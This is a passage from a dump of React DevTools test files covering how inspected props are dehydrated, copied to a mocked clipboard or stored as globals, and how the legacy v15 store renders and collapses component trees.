Array(2),\n            \"preview_long\": [\"b\", 123],\n          },\n          \"2\": Dehydrated {\n            \"preview_short\": Array(2),\n            \"preview_long\": [\"c\", Map(2)],\n          },\n        },\n        \"map\": {\n          \"0\": Dehydrated {\n            \"preview_short\": Array(2),\n            \"preview_long\": [\"name\", \"Brian\"],\n          },\n          \"1\": Dehydrated {\n            \"preview_short\": Array(2),\n            \"preview_long\": [\"food\", \"sushi\"],\n          },\n        },\n        \"map_of_maps\": {\n          \"0\": Dehydrated {\n            \"preview_short\": Array(2),\n            \"preview_long\": [\"first\", Map(2)],\n          },\n          \"1\": Dehydrated {\n            \"preview_short\": Array(2),\n            \"preview_long\": [\"second\", Map(2)],\n          },\n        },\n        \"object_of_objects\": {\n          \"inner\": Dehydrated {\n            \"preview_short\": {…},\n            \"preview_long\": {boolean: true, number: 123, string: \"abc\"},\n          },\n        },\n        \"react_element\": {\n          \"key\": null,\n          \"props\": Dehydrated {\n            \"preview_short\": {…},\n            \"preview_long\": {},\n          },\n          \"ref\": null,\n        },\n        \"regexp\": Dehydrated {\n          \"preview_short\": /abc/giu,\n          \"preview_long\": /abc/giu,\n        },\n        \"set\": {\n          \"0\": \"abc\",\n          \"1\": 123,\n        },\n        \"set_of_sets\": {\n          \"0\": Dehydrated {\n            \"preview_short\": Set(3),\n            \"preview_long\": Set(3) {\"a\", \"b\", \"c\"},\n          },\n          \"1\": Dehydrated {\n            \"preview_short\": Set(3),\n            \"preview_long\": Set(3) {1, 2, 3},\n          },\n        },\n        \"symbol\": Dehydrated {\n          \"preview_short\": Symbol(symbol),\n          \"preview_long\": Symbol(symbol),\n        },\n        \"typed_array\": {\n          \"0\": 100,\n          \"1\": -100,\n          \"2\": 0,\n        },\n      }\n    `);\n  });\n\n  // @reactVersion >= 16.0\n  it('should support objects with no prototype', async () => {\n    const Example = () => null;\n\n    const object = Object.create(null);\n    object.string = 'abc';\n    object.number = 123;\n    object.boolean = true;\n\n    act(() =>\n      ReactDOM.render(\n        React.createElement(Example, {object}),\n        document.createElement('div'),\n      ),\n    );\n\n    const id = ((store.getElementIDAtIndex(0): any): number);\n    const inspectedElement = await read(id);\n\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n      {\n        \"object\": {\n          \"boolean\": true,\n          \"number\": 123,\n          \"string\": \"abc\",\n        },\n      }\n    `);\n  });\n\n  // @reactVersion >= 16.0\n  it('should support objects with overridden hasOwnProperty', async () => {\n    const Example = () => null;\n\n    const object = {\n      name: 'blah',\n      hasOwnProperty: true,\n    };\n\n    act(() =>\n      ReactDOM.render(\n        React.createElement(Example, {object}),\n        document.createElement('div'),\n      ),\n    );\n\n    const id = ((store.getElementIDAtIndex(0): any): number);\n    const inspectedElement = await read(id);\n\n    // TRICKY: Don't use toMatchInlineSnapshot() for this test!\n    // Our snapshot serializer relies on hasOwnProperty() for feature detection.\n    expect(inspectedElement.props.object.name).toBe('blah');\n    expect(inspectedElement.props.object.hasOwnProperty).toBe(true);\n  });\n\n  // @reactVersion >= 16.0\n  it('should not consume iterables while inspecting', async () => {\n    const Example = () => null;\n\n    function* generator() {\n      yield 1;\n      yield 2;\n    }\n\n    const iteratable = generator();\n\n    act(() =>\n      ReactDOM.render(\n        React.createElement(Example, {iteratable}),\n        document.createElement('div'),\n      ),\n    );\n\n    const id = ((store.getElementIDAtIndex(0): any): number);\n    const inspectedElement = await read(id);\n\n    expect(inspectedElement).toMatchInlineSnapshot(`\n      {\n        \"context\": {},\n        \"events\": undefined,\n        \"hooks\": null,\n        \"id\": 2,\n        \"owners\": null,\n        \"props\": {\n          \"iteratable\": Dehydrated {\n            \"preview_short\": Generator,\n            \"preview_long\": Generator,\n          },\n        },\n        \"rootType\": null,\n        \"state\": null,\n      }\n    `);\n\n    // Inspecting should not consume the iterable.\n    expect(iteratable.next().value).toEqual(1);\n    expect(iteratable.next().value).toEqual(2);\n    expect(iteratable.next().value).toBeUndefined();\n  });\n\n  // @reactVersion >= 16.0\n  it('should support custom objects with enumerable properties and getters', async () => {\n    class CustomData {\n      _number = 42;\n      get number() {\n        return this._number;\n      }\n      set number(value) {\n        this._number = value;\n      }\n    }\n\n    const descriptor = ((Object.getOwnPropertyDescriptor(\n      CustomData.prototype,\n      'number',\n    ): any): PropertyDescriptor<number>);\n    descriptor.enumerable = true;\n    Object.defineProperty(CustomData.prototype, 'number', descriptor);\n\n    const Example = ({data}) => null;\n\n    act(() =>\n      ReactDOM.render(\n        React.createElement(Example, {data: new CustomData()}),\n        document.createElement('div'),\n      ),\n    );\n\n    const id = ((store.getElementIDAtIndex(0): any): number);\n    const inspectedElement = await read(id);\n\n    expect(inspectedElement).toMatchInlineSnapshot(`\n      {\n        \"context\": {},\n        \"events\": undefined,\n        \"hooks\": null,\n        \"id\": 2,\n        \"owners\": null,\n        \"props\": {\n          \"data\": {\n            \"_number\": 42,\n            \"number\": 42,\n          },\n        },\n        \"rootType\": null,\n        \"state\": null,\n      }\n    `);\n  });\n\n  // @reactVersion >= 16.0\n  it('should support objects with inherited keys', async () => {\n    const Example = () => null;\n\n    const base = Object.create(Object.prototype, {\n      enumerableStringBase: {\n        value: 1,\n        writable: true,\n        enumerable: true,\n        configurable: true,\n      },\n      [Symbol('enumerableSymbolBase')]: {\n        value: 1,\n        writable: true,\n        enumerable: true,\n        configurable: true,\n      },\n      nonEnumerableStringBase: {\n        value: 1,\n        writable: true,\n        enumerable: false,\n        configurable: true,\n      },\n      [Symbol('nonEnumerableSymbolBase')]: {\n        value: 1,\n        writable: true,\n        enumerable: false,\n        configurable: true,\n      },\n    });\n\n    const object = Object.create(base, {\n      enumerableString: {\n        value: 2,\n        writable: true,\n        enumerable: true,\n        configurable: true,\n      },\n      nonEnumerableString: {\n        value: 3,\n        writable: true,\n        enumerable: false,\n        configurable: true,\n      },\n      123: {\n        value: 3,\n        writable: true,\n        enumerable: true,\n        configurable: true,\n      },\n      [Symbol('nonEnumerableSymbol')]: {\n        value: 2,\n        writable: true,\n        enumerable: false,\n        configurable: true,\n      },\n      [Symbol('enumerableSymbol')]: {\n        value: 3,\n        writable: true,\n        enumerable: true,\n        configurable: true,\n      },\n    });\n\n    act(() =>\n      ReactDOM.render(\n        React.createElement(Example, {data: object}),\n        document.createElement('div'),\n      ),\n    );\n\n    const id = ((store.getElementIDAtIndex(0): any): number);\n    const inspectedElement = await read(id);\n\n    expect(inspectedElement).toMatchInlineSnapshot(`\n      {\n        \"context\": {},\n        \"events\": undefined,\n        \"hooks\": null,\n        \"id\": 2,\n        \"owners\": null,\n        \"props\": {\n          \"data\": {\n            \"123\": 3,\n            \"Symbol(enumerableSymbol)\": 3,\n            \"Symbol(enumerableSymbolBase)\": 1,\n            \"enumerableString\": 2,\n            \"enumerableStringBase\": 1,\n          },\n        },\n        \"rootType\": null,\n        \"state\": null,\n      }\n    `);\n  });\n\n  // @reactVersion >= 16.0\n  it('should allow component prop value and value`s prototype has same name params.', async () => {\n    const testData = Object.create(\n      {\n        a: undefined,\n        b: Infinity,\n        c: NaN,\n        d: 'normal',\n      },\n      {\n        a: {\n          value: undefined,\n          writable: true,\n          enumerable: true,\n          configurable: true,\n        },\n        b: {\n          value: Infinity,\n          writable: true,\n          enumerable: true,\n          configurable: true,\n        },\n        c: {\n          value: NaN,\n          writable: true,\n          enumerable: true,\n          configurable: true,\n        },\n        d: {\n          value: 'normal',\n          writable: true,\n          enumerable: true,\n          configurable: true,\n        },\n      },\n    );\n\n    const Example = ({data}) => null;\n    act(() =>\n      ReactDOM.render(\n        React.createElement(Example, {data: testData}),\n        document.createElement('div'),\n      ),\n    );\n\n    const id = ((store.getElementIDAtIndex(0): any): number);\n    const inspectedElement = await read(id);\n\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n      {\n        \"data\": {\n          \"a\": undefined,\n          \"b\": Infinity,\n          \"c\": NaN,\n          \"d\": \"normal\",\n        },\n      }\n    `);\n  });\n\n  // @reactVersion >= 16.0\n  it('should not dehydrate nested values until explicitly requested', async () => {\n    const Example = () => null;\n\n    act(() =>\n      ReactDOM.render(\n        React.createElement(Example, {\n          nestedObject: {\n            a: {\n              b: {\n                c: [\n                  {\n                    d: {\n                      e: {},\n                    },\n                  },\n                ],\n              },\n            },\n          },\n        }),\n        document.createElement('div'),\n      ),\n    );\n\n    const id = ((store.getElementIDAtIndex(0): any): number);\n\n    let inspectedElement = await read(id);\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n      {\n        \"nestedObject\": {\n          \"a\": Dehydrated {\n            \"preview_short\": {…},\n            \"preview_long\": {b: {…}},\n          },\n        },\n      }\n    `);\n\n    inspectedElement = await read(id, ['props', 'nestedObject', 'a']);\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n      {\n        \"nestedObject\": {\n          \"a\": {\n            \"b\": {\n              \"c\": Dehydrated {\n                \"preview_short\": Array(1),\n                \"preview_long\": [{…}],\n              },\n            },\n          },\n        },\n      }\n    `);\n\n    inspectedElement = await read(id, ['props', 'nestedObject', 'a', 'b', 'c']);\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n      {\n        \"nestedObject\": {\n          \"a\": {\n            \"b\": {\n              \"c\": [\n                {\n                  \"d\": Dehydrated {\n                    \"preview_short\": {…},\n                    \"preview_long\": {e: {…}},\n                  },\n                },\n              ],\n            },\n          },\n        },\n      }\n    `);\n\n    inspectedElement = await read(id, [\n      'props',\n      'nestedObject',\n      'a',\n      'b',\n      'c',\n      0,\n      'd',\n    ]);\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n      {\n        \"nestedObject\": {\n          \"a\": {\n            \"b\": {\n              \"c\": [\n                {\n                  \"d\": {\n                    \"e\": {},\n                  },\n                },\n              ],\n            },\n          },\n        },\n      }\n    `);\n  });\n\n  // @reactVersion >= 16.0\n  it('should enable inspected values to be stored as global variables', () => {\n    const Example = () => null;\n\n    const nestedObject = {\n      a: {\n        value: 1,\n        b: {\n          value: 1,\n          c: {\n            value: 1,\n          },\n        },\n      },\n    };\n\n    act(() =>\n      ReactDOM.render(\n        React.createElement(Example, {nestedObject}),\n        document.createElement('div'),\n      ),\n    );\n\n    const id = ((store.getElementIDAtIndex(0): any): number);\n    const rendererID = ((store.getRendererIDForElement(id): any): number);\n\n    const logSpy = jest.fn();\n    jest.spyOn(console, 'log').mockImplementation(logSpy);\n\n    // Should store the whole value (not just the hydrated parts)\n    backendAPI.storeAsGlobal({\n      bridge,\n      id,\n      path: ['props', 'nestedObject'],\n      rendererID,\n    });\n\n    jest.runOnlyPendingTimers();\n    expect(logSpy).toHaveBeenCalledWith('$reactTemp0');\n    expect(global.$reactTemp0).toBe(nestedObject);\n\n    logSpy.mockReset();\n\n    // Should store the nested property specified (not just the outer value)\n    backendAPI.storeAsGlobal({\n      bridge,\n      id,\n      path: ['props', 'nestedObject', 'a', 'b'],\n      rendererID,\n    });\n\n    jest.runOnlyPendingTimers();\n    expect(logSpy).toHaveBeenCalledWith('$reactTemp1');\n    expect(global.$reactTemp1).toBe(nestedObject.a.b);\n  });\n\n  // @reactVersion >= 16.0\n  it('should enable inspected values to be copied to the clipboard', () => {\n    const Example = () => null;\n\n    const nestedObject = {\n      a: {\n        value: 1,\n        b: {\n          value: 1,\n          c: {\n            value: 1,\n          },\n        },\n      },\n    };\n\n    act(() =>\n      ReactDOM.render(\n        React.createElement(Example, {nestedObject}),\n        document.createElement('div'),\n      ),\n    );\n\n    const id = ((store.getElementIDAtIndex(0): any): number);\n    const rendererID = ((store.getRendererIDForElement(id): any): number);\n\n    // Should copy the whole value (not just the hydrated parts)\n    backendAPI.copyInspectedElementPath({\n      bridge,\n      id,\n      path: ['props', 'nestedObject'],\n      rendererID,\n    });\n\n    jest.runOnlyPendingTimers();\n    expect(global.mockClipboardCopy).toHaveBeenCalledTimes(1);\n    expect(global.mockClipboardCopy).toHaveBeenCalledWith(\n      JSON.stringify(nestedObject, undefined, 2),\n    );\n\n    global.mockClipboardCopy.mockReset();\n\n    // Should copy the nested property specified (not just the outer value)\n    backendAPI.copyInspectedElementPath({\n      bridge,\n      id,\n      path: ['props', 'nestedObject', 'a', 'b'],\n      rendererID,\n    });\n\n    jest.runOnlyPendingTimers();\n    expect(global.mockClipboardCopy).toHaveBeenCalledTimes(1);\n    expect(global.mockClipboardCopy).toHaveBeenCalledWith(\n      JSON.stringify(nestedObject.a.b, undefined, 2),\n    );\n  });\n\n  // @reactVersion >= 16.0\n  it('should enable complex values to be copied to the clipboard', () => {\n    const Immutable = require('immutable');\n\n    const Example = () => null;\n\n    const set = new Set(['abc', 123]);\n    const map = new Map([\n      ['name', 'Brian'],\n      ['food', 'sushi'],\n    ]);\n    const setOfSets = new Set([new Set(['a', 'b', 'c']), new Set([1, 2, 3])]);\n    const mapOfMaps = new Map([\n      ['first', map],\n      ['second', map],\n    ]);\n    const typedArray = Int8Array.from([100, -100, 0]);\n    const arrayBuffer = typedArray.buffer;\n    const dataView = new DataView(arrayBuffer);\n    const immutable = Immutable.fromJS({\n      a: [{hello: 'there'}, 'fixed', true],\n      b: 123,\n      c: {\n        '1': 'xyz',\n        xyz: 1,\n      },\n    });\n    const bigInt = BigInt(123);\n\n    act(() =>\n      ReactDOM.render(\n        React.createElement(Example, {\n          arrayBuffer: arrayBuffer,\n          dataView: dataView,\n          map: map,\n          set: set,\n          mapOfMaps: mapOfMaps,\n          setOfSets: setOfSets,\n          typedArray: typedArray,\n          immutable: immutable,\n          bigInt: bigInt,\n        }),\n        document.createElement('div'),\n      ),\n    );\n\n    const id = ((store.getElementIDAtIndex(0): any): number);\n    const rendererID = ((store.getRendererIDForElement(id): any): number);\n\n    // Should copy the whole value (not just the hydrated parts)\n    backendAPI.copyInspectedElementPath({\n      bridge,\n      id,\n      path: ['props'],\n      rendererID,\n    });\n    jest.runOnlyPendingTimers();\n    // Should not error despite lots of unserialized values.\n\n    global.mockClipboardCopy.mockReset();\n\n    // Should copy the nested property specified (not just the outer value)\n    backendAPI.copyInspectedElementPath({\n      bridge,\n      id,\n      path: ['props', 'bigInt'],\n      rendererID,\n    });\n    jest.runOnlyPendingTimers();\n    expect(global.mockClipboardCopy).toHaveBeenCalledTimes(1);\n    expect(global.mockClipboardCopy).toHaveBeenCalledWith(\n      JSON.stringify('123n'),\n    );\n\n    global.mockClipboardCopy.mockReset();\n\n    // Should copy the nested property specified (not just the outer value)\n    backendAPI.copyInspectedElementPath({\n      bridge,\n      id,\n      path: ['props', 'typedArray'],\n      rendererID,\n    });\n    jest.runOnlyPendingTimers();\n    expect(global.mockClipboardCopy).toHaveBeenCalledTimes(1);\n    expect(global.mockClipboardCopy).toHaveBeenCalledWith(\n      JSON.stringify({0: 100, 1: -100, 2: 0}, undefined, 2),\n    );\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/legacy/storeLegacy-v15-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\ndescribe('Store (legacy)', () => {\n  let React;\n  let ReactDOM;\n  let store;\n  const act = (callback: Function) => {\n    callback();\n    jest.runAllTimers(); // Flush Bridge operations\n  };\n  beforeEach(() => {\n    store = global.store;\n\n    // Redirect all React/ReactDOM requires to the v15 UMD.\n    // We use the UMD because Jest doesn't enable us to mock deep imports (e.g. \"react/lib/Something\").\n    jest.mock('react', () => jest.requireActual('react-15/dist/react.js'));\n    jest.mock('react-dom', () =>\n      jest.requireActual('react-dom-15/dist/react-dom.js'),\n    );\n    React = require('react');\n    ReactDOM = require('react-dom');\n  });\n  it('should not allow a root node to be collapsed', () => {\n    const Component = () => React.createElement('div', null, 'Hi');\n    act(() =>\n      ReactDOM.render(\n        React.createElement(Component, {\n          count: 4,\n        }),\n        document.createElement('div'),\n      ),\n    );\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Component>\n            <div>\n    `);\n    expect(store.roots).toHaveLength(1);\n    const rootID = store.roots[0];\n    expect(() => store.toggleIsCollapsed(rootID, true)).toThrow(\n      'Root nodes cannot be collapsed',\n    );\n  });\n  describe('collapseNodesByDefault:false', () => {\n    beforeEach(() => {\n      store.collapseNodesByDefault = false;\n    });\n    it('should support mount and update operations', () => {\n      const Grandparent = ({count}) =>\n        React.createElement(\n          'div',\n          null,\n          React.createElement(Parent, {\n            count: count,\n          }),\n          React.createElement(Parent, {\n            count: count,\n          }),\n        );\n      const Parent = ({count}) =>\n        React.createElement(\n          'div',\n          null,\n          new Array(count).fill(true).map((_, index) =>\n            React.createElement(Child, {\n              key: index,\n            }),\n          ),\n        );\n      const Child = () => React.createElement('div', null, 'Hi!');\n      const container = document.createElement('div');\n      act(() =>\n        ReactDOM.render(\n          React.createElement(Grandparent, {\n            count: 4,\n          }),\n          container,\n        ),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Grandparent>\n            ▾ <div>\n              ▾ <Parent>\n                ▾ <div>\n                  ▾ <Child key=\"0\">\n                      <div>\n                  ▾ <Child key=\"1\">\n                      <div>\n                  ▾ <Child key=\"2\">\n                      <div>\n                  ▾ <Child key=\"3\">\n                      <div>\n              ▾ <Parent>\n                ▾ <div>\n                  ▾ <Child key=\"0\">\n                      <div>\n                  ▾ <Child key=\"1\">\n                      <div>\n                  ▾ <Child key=\"2\">\n                      <div>\n                  ▾ <Child key=\"3\">\n                      <div>\n      `);\n      act(() =>\n        ReactDOM.render(\n          React.createElement(Grandparent, {\n            count: 2,\n          }),\n          container,\n        ),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Grandparent>\n            ▾ <div>\n              ▾ <Parent>\n                ▾ <div>\n                  ▾ <Child key=\"0\">\n                      <div>\n                  ▾ <Child key=\"1\">\n                      <div>\n              ▾ <Parent>\n                ▾ <div>\n                  ▾ <Child key=\"0\">\n                      <div>\n                  ▾ <Child key=\"1\">\n                      <div>\n      `);\n      act(() => ReactDOM.unmountComponentAtNode(container));\n      expect(store).toMatchInlineSnapshot(``);\n    });\n    it('should support mount and update operations for multiple roots', () => {\n      const Parent = ({count}) =>\n        React.createElement(\n          'div',\n          null,\n          new Array(count).fill(true).map((_, index) =>\n            React.createElement(Child, {\n              key: index,\n            }),\n          ),\n        );\n      const Child = () => React.createElement('div', null, 'Hi!');\n      const containerA = document.createElement('div');\n      const containerB = document.createElement('div');\n      act(() => {\n        ReactDOM.render(\n          React.createElement(Parent, {\n            key: 'A',\n            count: 3,\n          }),\n          containerA,\n        );\n        ReactDOM.render(\n          React.createElement(Parent, {\n            key: 'B',\n            count: 2,\n          }),\n          containerB,\n        );\n      });\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Parent key=\"A\">\n            ▾ <div>\n              ▾ <Child key=\"0\">\n                  <div>\n              ▾ <Child key=\"1\">\n                  <div>\n              ▾ <Child key=\"2\">\n                  <div>\n        [root]\n          ▾ <Parent key=\"B\">\n            ▾ <div>\n              ▾ <Child key=\"0\">\n                  <div>\n              ▾ <Child key=\"1\">\n                  <div>\n      `);\n      act(() => {\n        ReactDOM.render(\n          React.createElement(Parent, {\n            key: 'A',\n            count: 4,\n          }),\n          containerA,\n        );\n        ReactDOM.render(\n          React.createElement(Parent, {\n            key: 'B',\n            count: 1,\n          }),\n          containerB,\n        );\n      });\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Parent key=\"A\">\n            ▾ <div>\n              ▾ <Child key=\"0\">\n                  <div>\n              ▾ <Child key=\"1\">\n                  <div>\n              ▾ <Child key=\"2\">\n                  <div>\n              ▾ <Child key=\"3\">\n                  <div>\n        [root]\n          ▾ <Parent key=\"B\">\n            ▾ <div>\n              ▾ <Child key=\"0\">\n                  <div>\n      `);\n      act(() => ReactDOM.unmountComponentAtNode(containerB));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Parent key=\"A\">\n            ▾ <div>\n              ▾ <Child key=\"0\">\n                  <div>\n              ▾ <Child key=\"1\">\n                  <div>\n              ▾ <Child key=\"2\">\n                  <div>\n              ▾ <Child key=\"3\">\n                  <div>\n      `);\n      act(() => ReactDOM.unmountComponentAtNode(containerA));\n      expect(store).toMatchInlineSnapshot(``);\n    });\n    it('should not filter DOM nodes from the store tree', () => {\n      const Grandparent = ({flip}) =>\n        React.createElement(\n          'div',\n          null,\n          React.createElement(\n            'div',\n            null,\n            React.createElement(Parent, {\n              flip: flip,\n            }),\n          ),\n          React.createElement(Parent, {\n            flip: flip,\n          }),\n          React.createElement(Nothing, null),\n        );\n      const Parent = ({flip}) =>\n        React.createElement(\n          'div',\n          null,\n          flip ? 'foo' : null,\n          React.createElement(Child, null),\n          flip && [null, 'hello', 42],\n          flip ? 'bar' : 'baz',\n        );\n      const Child = () => React.createElement('div', null, 'Hi!');\n      const Nothing = () => null;\n      const container = document.createElement('div');\n      act(() =>\n        ReactDOM.render(\n          React.createElement(Grandparent, {\n            count: 4,\n            flip: false,\n          }),\n          container,\n        ),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Grandparent>\n            ▾ <div>\n              ▾ <div>\n                ▾ <Parent>\n                  ▾ <div>\n                    ▾ <Child>\n                        <div>\n              ▾ <Parent>\n                ▾ <div>\n                  ▾ <Child>\n                      <div>\n                <Nothing>\n      `);\n      act(() =>\n        ReactDOM.render(\n          React.createElement(Grandparent, {\n            count: 4,\n            flip: true,\n          }),\n          container,\n        ),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Grandparent>\n            ▾ <div>\n              ▾ <div>\n                ▾ <Parent>\n                  ▾ <div>\n                    ▾ <Child>\n                        <div>\n              ▾ <Parent>\n                ▾ <div>\n                  ▾ <Child>\n                      <div>\n                <Nothing>\n      `);\n      act(() => ReactDOM.unmountComponentAtNode(container));\n      expect(store).toMatchInlineSnapshot(``);\n    });\n    it('should support collapsing parts of the tree', () => {\n      const Grandparent = ({count}) =>\n        React.createElement(\n          'div',\n          null,\n          React.createElement(Parent, {\n            count: count,\n          }),\n          React.createElement(Parent, {\n            count: count,\n          }),\n        );\n      const Parent = ({count}) =>\n        React.createElement(\n          'div',\n          null,\n          new Array(count).fill(true).map((_, index) =>\n            React.createElement(Child, {\n              key: index,\n            }),\n          ),\n        );\n      const Child = () => React.createElement('div', null, 'Hi!');\n      act(() =>\n        ReactDOM.render(\n          React.createElement(Grandparent, {\n            count: 2,\n          }),\n          document.createElement('div'),\n        ),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Grandparent>\n            ▾ <div>\n              ▾ <Parent>\n                ▾ <div>\n                  ▾ <Child key=\"0\">\n                      <div>\n                  ▾ <Child key=\"1\">\n                      <div>\n              ▾ <Parent>\n                ▾ <div>\n                  ▾ <Child key=\"0\">\n                      <div>\n                  ▾ <Child key=\"1\">\n                      <div>\n      `);\n      const grandparentID = store.getElementIDAtIndex(0);\n      const parentOneID = store.getElementIDAtIndex(2);\n      const parentTwoID = store.getElementIDAtIndex(8);\n      act(() => store.toggleIsCollapsed(parentOneID, true));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Grandparent>\n            ▾ <div>\n              ▸ <Parent>\n              ▾ <Parent>\n                ▾ <div>\n                  ▾ <Child key=\"0\">\n                      <div>\n                  ▾ <Child key=\"1\">\n                      <div>\n      `);\n      act(() => store.toggleIsCollapsed(parentTwoID, true));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Grandparent>\n            ▾ <div>\n              ▸ <Parent>\n              ▸ <Parent>\n      `);\n      act(() => store.toggleIsCollapsed(parentOneID, false));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Grandparent>\n            ▾ <div>\n              ▾ <Parent>\n                ▾ <div>\n                  ▾ <Child key=\"0\">\n                      <div>\n                  ▾ <Child key=\"1\">\n                      <div>\n              ▸ <Parent>\n      `);\n      act(() => store.toggleIsCollapsed(grandparentID, true));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▸ <Grandparent>\n      `);\n      act(() => store.toggleIsCollapsed(grandparentID, false));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Grandparent>\n            ▾ <div>\n              ▾ <Parent>\n                ▾ <div>\n                  ▾ <Child key=\"0\">\n                      <div>\n                  ▾ <Child key=\"1\">\n                      <div>\n              ▸ <Parent>\n      `);\n    });\n    it('should support adding and removing children', () => {\n      const Root = ({children}) => React.createElement('div', null, children);\n      const Component = () => React.createElement('div', null);\n      const container = document.createElement('div');\n      act(() =>\n        ReactDOM.render(\n          React.createElement(\n            Root,\n            null,\n            React.createElement(Component, {\n              key: 'a',\n            }),\n          ),\n          container,\n        ),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Root>\n            ▾ <div>\n              ▾ <Component key=\"a\">\n                  <div>\n      `);\n      act(() =>\n        ReactDOM.render(\n          React.createElement(\n            Root,\n            null,\n            React.createElement(Component, {\n              key: 'a',\n            }),\n            React.createElement(Component, {\n              key: 'b',\n            }),\n          ),\n          container,\n        ),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Root>\n            ▾ <div>\n              ▾ <Component key=\"a\">\n                  <div>\n              ▾ <Component key=\"b\">\n                  <div>\n      `);\n      act(() =>\n        ReactDOM.render(\n          React.createElement(\n            Root,\n            null,\n            React.createElement(Component, {\n              key: 'b',\n            }),\n          ),\n          container,\n        ),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Root>\n            ▾ <div>\n              ▾ <Component key=\"b\">\n                  <div>\n      `);\n    });\n    it('should support reordering of children', () => {\n      const Root = ({children}) => React.createElement('div', null, children);\n      const Component = () => React.createElement('div', null);\n      const Foo = () =>\n        React.createElement('div', null, [\n          React.createElement(Component, {\n            key: '0',\n          }),\n        ]);\n      const Bar = () =>\n        React.createElement('div', null, [\n          React.createElement(Component, {\n            key: '0',\n          }),\n          React.createElement(Component, {\n            key: '1',\n          }),\n        ]);\n      const foo = React.createElement(Foo, {\n        key: 'foo',\n      });\n      const bar = React.createElement(Bar, {\n        key: 'bar',\n      });\n      const container = document.createElement('div');\n      act(() =>\n        ReactDOM.render(React.createElement(Root, null, [foo, bar]), container),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Root>\n            ▾ <div>\n              ▾ <Foo key=\"foo\">\n                ▾ <div>\n                  ▾ <Component key=\"0\">\n                      <div>\n              ▾ <Bar key=\"bar\">\n                ▾ <div>\n                  ▾ <Component key=\"0\">\n                      <div>\n                  ▾ <Component key=\"1\">\n                      <div>\n      `);\n      act(() =>\n        ReactDOM.render(React.createElement(Root, null, [bar, foo]), container),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Root>\n            ▾ <div>\n              ▾ <Bar key=\"bar\">\n                ▾ <div>\n                  ▾ <Component key=\"0\">\n                      <div>\n                  ▾ <Component key=\"1\">\n                      <div>\n              ▾ <Foo key=\"foo\">\n                ▾ <div>\n                  ▾ <Component key=\"0\">\n                      <div>\n      `);\n      act(() => store.toggleIsCollapsed(store.getElementIDAtIndex(0), true));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▸ <Root>\n      `);\n      act(() => store.toggleIsCollapsed(store.getElementIDAtIndex(0), false));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Root>\n            ▾ <div>\n              ▾ <Bar key=\"bar\">\n                ▾ <div>\n                  ▾ <Component key=\"0\">\n                      <div>\n                  ▾ <Component key=\"1\">\n                      <div>\n              ▾ <Foo key=\"foo\">\n                ▾ <div>\n                  ▾ <Component key=\"0\">\n                      <div>\n      `);\n    });\n  });\n  describe('collapseNodesByDefault:true', () => {\n    beforeEach(() => {\n      store.collapseNodesByDefault = true;\n    });\n    it('should support mount and update operations', () => {\n      const Parent = ({count}) =>\n        React.createElement(\n          'div',\n          null,\n          new Array(count).fill(true).map((_, index) =>\n            React.createElement(Child, {\n              key: index,\n            }),\n          ),\n        );\n      const Child = () => React.createElement('div', null, 'Hi!');\n      const container = document.createElement('div');\n      act(() =>\n        ReactDOM.render(\n          React.createElement(\n            'div',\n            null,\n            React.createElement(Parent, {\n              count: 1,\n            }),\n            React.createElement(Parent, {\n              count: 3,\n            }),\n          ),\n          container,\n        ),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▸ <div>\n      `);\n      act(() =>\n        ReactDOM.render(\n          React.createElement(\n            'div',\n            null,\n            React.createElement(Parent, {\n              count: 2,\n            }),\n            React.createElement(Parent, {\n              count: 1,\n            }),\n          ),\n          container,\n        ),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▸ <div>\n      `);\n      act(() => ReactDOM.unmountComponentAtNode(container));\n      expect(store).toMatchInlineSnapshot(``);\n    });\n    it('should support mount and update operations for multiple roots', () => {\n      const Parent = ({count}) =>\n        React.createElement(\n          'div',\n          null,\n          new Array(count).fill(true).map((_, index) =>\n            React.createElement(Child, {\n              key: index,\n            }),\n          ),\n        );\n      const Child = () => React.createElement('div', null, 'Hi!');\n      const containerA = document.createElement('div');\n      const containerB = document.createElement('div');\n      act(() => {\n        ReactDOM.render(\n          React.createElement(Parent, {\n            key: 'A',\n            count: 3,\n          }),\n          containerA,\n        );\n        ReactDOM.render(\n          React.createElement(Parent, {\n            key: 'B',\n            count: 2,\n          }),\n          containerB,\n        );\n      });\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▸ <Parent key=\"A\">\n        [root]\n          ▸ <Parent key=\"B\">\n      `);\n      act(() => {\n        ReactDOM.render(\n          React.createElement(Parent, {\n            key: 'A',\n            count: 